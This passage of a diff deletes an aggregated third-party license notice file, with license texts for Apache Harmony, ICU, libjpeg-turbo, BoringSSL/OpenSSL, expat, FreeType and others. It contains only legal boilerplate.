-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-
-======================================================================
-libcore/NOTICE
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the Android-specific code.                        ==
-   =========================================================================
-
-Android Code
-Copyright 2005-2008 The Android Open Source Project
-
-This product includes software developed as part of
-The Android Open Source Project (http://source.android.com).
-
-   =========================================================================
-   ==  NOTICE file corresponding to the section 4 d of                    ==
-   ==  the Apache License, Version 2.0,                                   ==
-   ==  in this case for the Apache Harmony distribution.                  ==
-   =========================================================================
-
-Apache Harmony
-Copyright 2006 The Apache Software Foundation
-
-This product includes software developed at
-The Apache Software Foundation (http://www.apache.org/).
-
-Portions of Harmony were originally developed by
-Intel Corporation and are licensed to the Apache Software
-Foundation under the "Software Grant and Corporate Contribution
-License Agreement", informally known as the "Intel Harmony CLA".
-
-
-   =========================================================================
-   ==  NOTICE file for the ICU License.                                   ==
-   =========================================================================
-
-Copyright (c) 1995-2014 International Business Machines Corporation and others
-
-All rights reserved.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, and/or sell copies of the Software, and to permit persons
-to whom the Software is furnished to do so, provided that the above
-copyright notice(s) and this permission notice appear in all copies of
-the Software and that both the above copyright notice(s) and this
-permission notice appear in supporting documentation.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
-OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
-HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY
-SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER
-RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
-CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
-CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
-
-Except as contained in this notice, the name of a copyright holder
-shall not be used in advertising or otherwise to promote the sale, use
-or other dealings in this Software without prior written authorization
-of the copyright holder.
-
-All trademarks and registered trademarks mentioned herein are the
-property of their respective owners.
-
-
-   =========================================================================
-   ==  NOTICE file for the KXML License.                                  ==
-   =========================================================================
-
-Copyright (c) 2002,2003, Stefan Haustein, Oberhausen, Rhld., Germany
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
-CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
-TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
-SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-
-   =========================================================================
-   ==  NOTICE file for the W3C License.                                   ==
-   =========================================================================
-
-Copyright (c) 2000 World Wide Web Consortium, (Massachusetts Institute
-of Technology, Institut National de Recherche en Informatique et en
-Automatique, Keio University). All Rights Reserved. This program is
-distributed under the W3C's Software Intellectual Property License.
-This program is distributed in the hope that it will be useful, but
-WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
-See W3C License http://www.w3.org/Consortium/Legal/ for more details.
-
-   =========================================================================
-   ==  NOTICE file for the fdlibm License.                                   ==
-   =========================================================================
-
-Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
-
-Developed at SunSoft, a Sun Microsystems, Inc. business.
-Permission to use, copy, modify, and distribute this
-software is freely granted, provided that this notice
-is preserved.
-
-======================================================================
-external/libjpeg-turbo/NOTICE
-
-libjpeg-turbo Licenses
-======================
-
-libjpeg-turbo is covered by three compatible BSD-style open source licenses:
-
-- The IJG (Independent JPEG Group) License, which is listed in
-  [README.ijg](README.ijg)
-
-  This license applies to the libjpeg API library and associated programs
-  (any code inherited from libjpeg, and any modifications to that code.)
-
-- The Modified (3-clause) BSD License, which is listed below
-
-  This license covers the TurboJPEG API library and associated programs, as
-  well as the build system.
-
-- The [zlib License](https://opensource.org/licenses/Zlib)
-
-  This license is a subset of the other two, and it covers the libjpeg-turbo
-  SIMD extensions.
-
-
-Complying with the libjpeg-turbo Licenses
-=========================================
-
-This section provides a roll-up of the libjpeg-turbo licensing terms, to the
-best of our understanding.
-
-1.  If you are distributing a modified version of the libjpeg-turbo source,
-    then:
-
-    1.  You cannot alter or remove any existing copyright or license notices
-        from the source.
-
-        **Origin**
-        - Clause 1 of the IJG License
-        - Clause 1 of the Modified BSD License
-        - Clauses 1 and 3 of the zlib License
-
-    2.  You must add your own copyright notice to the header of each source
-        file you modified, so others can tell that you modified that file (if
-        there is not an existing copyright header in that file, then you can
-        simply add a notice stating that you modified the file.)
-
-        **Origin**
-        - Clause 1 of the IJG License
-        - Clause 2 of the zlib License
-
-    3.  You must include the IJG README file, and you must not alter any of the
-        copyright or license text in that file.
-
-        **Origin**
-        - Clause 1 of the IJG License
-
-2.  If you are distributing only libjpeg-turbo binaries without the source, or
-    if you are distributing an application that statically links with
-    libjpeg-turbo, then:
-
-    1.  Your product documentation must include a message stating:
-
-        This software is based in part on the work of the Independent JPEG
-        Group.
-
-        **Origin**
-        - Clause 2 of the IJG license
-
-    2.  If your binary distribution includes or uses the TurboJPEG API, then
-        your product documentation must include the text of the Modified BSD
-        License (see below.)
-
-        **Origin**
-        - Clause 2 of the Modified BSD License
-
-3.  You cannot use the name of the IJG or The libjpeg-turbo Project or the
-    contributors thereof in advertising, publicity, etc.
-
-    **Origin**
-    - IJG License
-    - Clause 3 of the Modified BSD License
-
-4.  The IJG and The libjpeg-turbo Project do not warrant libjpeg-turbo to be
-    free of defects, nor do we accept any liability for undesirable
-    consequences resulting from your use of the software.
-
-    **Origin**
-    - IJG License
-    - Modified BSD License
-    - zlib License
-
-
-The Modified (3-clause) BSD License
-===================================
-
-Copyright (C)2009-2021 D. R. Commander.  All Rights Reserved.<br>
-Copyright (C)2015 Viktor Szathmáry.  All Rights Reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-- Redistributions of source code must retain the above copyright notice,
-  this list of conditions and the following disclaimer.
-- Redistributions in binary form must reproduce the above copyright notice,
-  this list of conditions and the following disclaimer in the documentation
-  and/or other materials provided with the distribution.
-- Neither the name of the libjpeg-turbo Project nor the names of its
-  contributors may be used to endorse or promote products derived from this
-  software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
-LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGE.
-
-
-Why Three Licenses?
-===================
-
-The zlib License could have been used instead of the Modified (3-clause) BSD
-License, and since the IJG License effectively subsumes the distribution
-conditions of the zlib License, this would have effectively placed
-libjpeg-turbo binary distributions under the IJG License.  However, the IJG
-License specifically refers to the Independent JPEG Group and does not extend
-attribution and endorsement protections to other entities.  Thus, it was
-desirable to choose a license that granted us the same protections for new code
-that were granted to the IJG for code derived from their software.
-
-======================================================================
-external/boringssl/NOTICE
-
-BoringSSL is a fork of OpenSSL. As such, large parts of it fall under OpenSSL
-licensing. Files that are completely new have a Google copyright and an ISC
-license. This license is reproduced at the bottom of this file.
-
-Contributors to BoringSSL are required to follow the CLA rules for Chromium:
-https://cla.developers.google.com/clas
-
-Files in third_party/ have their own licenses, as described therein. The MIT
-license, for third_party/fiat, which, unlike other third_party directories, is
-compiled into non-test libraries, is included below.
-
-The OpenSSL toolkit stays under a dual license, i.e. both the conditions of the
-OpenSSL License and the original SSLeay license apply to the toolkit. See below
-for the actual license texts. Actually both licenses are BSD-style Open Source
-licenses. In case of any license issues related to OpenSSL please contact
-openssl-core@openssl.org.
-
-The following are Google-internal bug numbers where explicit permission from
-some authors is recorded for use of their work. (This is purely for our own
-record keeping.)
-  27287199
-  27287880
-  27287883
-
-  OpenSSL License
-  ---------------
-
-/* ====================================================================
- * Copyright (c) 1998-2011 The OpenSSL Project.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer. 
- *
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in
- *    the documentation and/or other materials provided with the
- *    distribution.
- *
- * 3. All advertising materials mentioning features or use of this
- *    software must display the following acknowledgment:
- *    "This product includes software developed by the OpenSSL Project
- *    for use in the OpenSSL Toolkit. (http://www.openssl.org/)"
- *
- * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
- *    endorse or promote products derived from this software without
- *    prior written permission. For written permission, please contact
- *    openssl-core@openssl.org.
- *
- * 5. Products derived from this software may not be called "OpenSSL"
- *    nor may "OpenSSL" appear in their names without prior written
- *    permission of the OpenSSL Project.
- *
- * 6. Redistributions of any form whatsoever must retain the following
- *    acknowledgment:
- *    "This product includes software developed by the OpenSSL Project
- *    for use in the OpenSSL Toolkit (http://www.openssl.org/)"
- *
- * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY
- * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE OpenSSL PROJECT OR
- * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
- * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
- * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
- * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
- * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
- * OF THE POSSIBILITY OF SUCH DAMAGE.
- * ====================================================================
- *
- * This product includes cryptographic software written by Eric Young
- * (eay@cryptsoft.com).  This product includes software written by Tim
- * Hudson (tjh@cryptsoft.com).
- *
- */
-
- Original SSLeay License
- -----------------------
-
-/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)
- * All rights reserved.
- *
- * This package is an SSL implementation written
- * by Eric Young (eay@cryptsoft.com).
- * The implementation was written so as to conform with Netscapes SSL.
- * 
- * This library is free for commercial and non-commercial use as long as
- * the following conditions are aheared to.  The following conditions
- * apply to all code found in this distribution, be it the RC4, RSA,
- * lhash, DES, etc., code; not just the SSL code.  The SSL documentation
- * included with this distribution is covered by the same copyright terms
- * except that the holder is Tim Hudson (tjh@cryptsoft.com).
- * 
- * Copyright remains Eric Young's, and as such any Copyright notices in
- * the code are not to be removed.
- * If this package is used in a product, Eric Young should be given attribution
- * as the author of the parts of the library used.
- * This can be in the form of a textual message at program startup or
- * in documentation (online or textual) provided with the package.
- * 
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- * 3. All advertising materials mentioning features or use of this software
- *    must display the following acknowledgement:
- *    "This product includes cryptographic software written by
- *     Eric Young (eay@cryptsoft.com)"
- *    The word 'cryptographic' can be left out if the rouines from the library
- *    being used are not cryptographic related :-).
- * 4. If you include any Windows specific code (or a derivative thereof) from 
- *    the apps directory (application code) you must include an acknowledgement:
- *    "This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
- * 
- * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- * 
- * The licence and distribution terms for any publically available version or
- * derivative of this code cannot be changed.  i.e. this code cannot simply be
- * copied and put under another distribution licence
- * [including the GNU Public Licence.]
- */
-
-
-ISC license used for completely new code in BoringSSL:
-
-/* Copyright (c) 2015, Google Inc.
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
- * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
- * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
- * SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
- * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
- * OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
- * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */
-
-
-The code in third_party/fiat carries the MIT license:
-
-Copyright (c) 2015-2016 the fiat-crypto authors (see
-https://github.com/mit-plv/fiat-crypto/blob/master/AUTHORS).
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-
-
-Licenses for support code
--------------------------
-
-Parts of the TLS test suite are under the Go license. This code is not included
-in BoringSSL (i.e. libcrypto and libssl) when compiled, however, so
-distributing code linked against BoringSSL does not trigger this license:
-
-Copyright (c) 2009 The Go Authors. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-   * Redistributions of source code must retain the above copyright
-notice, this list of conditions and the following disclaimer.
-   * Redistributions in binary form must reproduce the above
-copyright notice, this list of conditions and the following disclaimer
-in the documentation and/or other materials provided with the
-distribution.
-   * Neither the name of Google Inc. nor the names of its
-contributors may be used to endorse or promote products derived from
-this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-
-BoringSSL uses the Chromium test infrastructure to run a continuous build,
-trybots etc. The scripts which manage this, and the script for generating build
-metadata, are under the Chromium license. Distributing code linked against
-BoringSSL does not trigger this license.
-
-Copyright 2015 The Chromium Authors. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-   * Redistributions of source code must retain the above copyright
-notice, this list of conditions and the following disclaimer.
-   * Redistributions in binary form must reproduce the above
-copyright notice, this list of conditions and the following disclaimer
-in the documentation and/or other materials provided with the
-distribution.
-   * Neither the name of Google Inc. nor the names of its
-contributors may be used to endorse or promote products derived from
-this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/expat/LICENSE
-external/expat/NOTICE
-
-Copyright (c) 1998-2000 Thai Open Source Software Center Ltd and Clark Cooper
-Copyright (c) 2001-2019 Expat maintainers
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be included
-in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
-CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
-TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
-SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-======================================================================
-external/freetype/NOTICE
-
-This software is based in part on the work of the FreeType Team.
-
-----------------------
-
-                    The FreeType Project LICENSE
-                    ----------------------------
-
-                            2006-Jan-27
-
-                    Copyright 1996-2002, 2006 by
-          David Turner, Robert Wilhelm, and Werner Lemberg
-
-
-
-Introduction
-============
-
-  The FreeType  Project is distributed in  several archive packages;
-  some of them may contain, in addition to the FreeType font engine,
-  various tools and  contributions which rely on, or  relate to, the
-  FreeType Project.
-
-  This  license applies  to all  files found  in such  packages, and
-  which do not  fall under their own explicit  license.  The license
-  affects  thus  the  FreeType   font  engine,  the  test  programs,
-  documentation and makefiles, at the very least.
-
-  This  license   was  inspired  by  the  BSD,   Artistic,  and  IJG
-  (Independent JPEG  Group) licenses, which  all encourage inclusion
-  and  use of  free  software in  commercial  and freeware  products
-  alike.  As a consequence, its main points are that:
-
-    o We don't promise that this software works. However, we will be
-      interested in any kind of bug reports. (`as is' distribution)
-
-    o You can  use this software for whatever you  want, in parts or
-      full form, without having to pay us. (`royalty-free' usage)
-
-    o You may not pretend that  you wrote this software.  If you use
-      it, or  only parts of it,  in a program,  you must acknowledge
-      somewhere  in  your  documentation  that  you  have  used  the
-      FreeType code. (`credits')
-
-  We  specifically  permit  and  encourage  the  inclusion  of  this
-  software, with  or without modifications,  in commercial products.
-  We  disclaim  all warranties  covering  The  FreeType Project  and
-  assume no liability related to The FreeType Project.
-
-
-  Finally,  many  people  asked  us  for  a  preferred  form  for  a
-  credit/disclaimer to use in compliance with this license.  We thus
-  encourage you to use the following text:
-
-   """  
-    Portions of this software are copyright © <year> The FreeType
-    Project (www.freetype.org).  All rights reserved.
-   """
-
-  Please replace <year> with the value from the FreeType version you
-  actually use.
-
-
-Legal Terms
-===========
-
-0. Definitions
---------------
-
-  Throughout this license,  the terms `package', `FreeType Project',
-  and  `FreeType  archive' refer  to  the  set  of files  originally
-  distributed  by the  authors  (David Turner,  Robert Wilhelm,  and
-  Werner Lemberg) as the `FreeType Project', be they named as alpha,
-  beta or final release.
-
-  `You' refers to  the licensee, or person using  the project, where
-  `using' is a generic term including compiling the project's source
-  code as  well as linking it  to form a  `program' or `executable'.
-  This  program is  referred to  as  `a program  using the  FreeType
-  engine'.
-
-  This  license applies  to all  files distributed  in  the original
-  FreeType  Project,   including  all  source   code,  binaries  and
-  documentation,  unless  otherwise  stated   in  the  file  in  its
-  original, unmodified form as  distributed in the original archive.
-  If you are  unsure whether or not a particular  file is covered by
-  this license, you must contact us to verify this.
-
-  The FreeType  Project is copyright (C) 1996-2000  by David Turner,
-  Robert Wilhelm, and Werner Lemberg.  All rights reserved except as
-  specified below.
-
-1. No Warranty
---------------
-
-  THE FREETYPE PROJECT  IS PROVIDED `AS IS' WITHOUT  WARRANTY OF ANY
-  KIND, EITHER  EXPRESS OR IMPLIED,  INCLUDING, BUT NOT  LIMITED TO,
-  WARRANTIES  OF  MERCHANTABILITY   AND  FITNESS  FOR  A  PARTICULAR
-  PURPOSE.  IN NO EVENT WILL ANY OF THE AUTHORS OR COPYRIGHT HOLDERS
-  BE LIABLE  FOR ANY DAMAGES CAUSED  BY THE USE OR  THE INABILITY TO
-  USE, OF THE FREETYPE PROJECT.
-
-2. Redistribution
------------------
-
-  This  license  grants  a  worldwide, royalty-free,  perpetual  and
-  irrevocable right  and license to use,  execute, perform, compile,
-  display,  copy,   create  derivative  works   of,  distribute  and
-  sublicense the  FreeType Project (in  both source and  object code
-  forms)  and  derivative works  thereof  for  any  purpose; and  to
-  authorize others  to exercise  some or all  of the  rights granted
-  herein, subject to the following conditions:
-
-    o Redistribution of  source code  must retain this  license file
-      (`FTL.TXT') unaltered; any  additions, deletions or changes to
-      the original  files must be clearly  indicated in accompanying
-      documentation.   The  copyright   notices  of  the  unaltered,
-      original  files must  be  preserved in  all  copies of  source
-      files.
-
-    o Redistribution in binary form must provide a  disclaimer  that
-      states  that  the software is based in part of the work of the
-      FreeType Team,  in  the  distribution  documentation.  We also
-      encourage you to put an URL to the FreeType web page  in  your
-      documentation, though this isn't mandatory.
-
-  These conditions  apply to any  software derived from or  based on
-  the FreeType Project,  not just the unmodified files.   If you use
-  our work, you  must acknowledge us.  However, no  fee need be paid
-  to us.
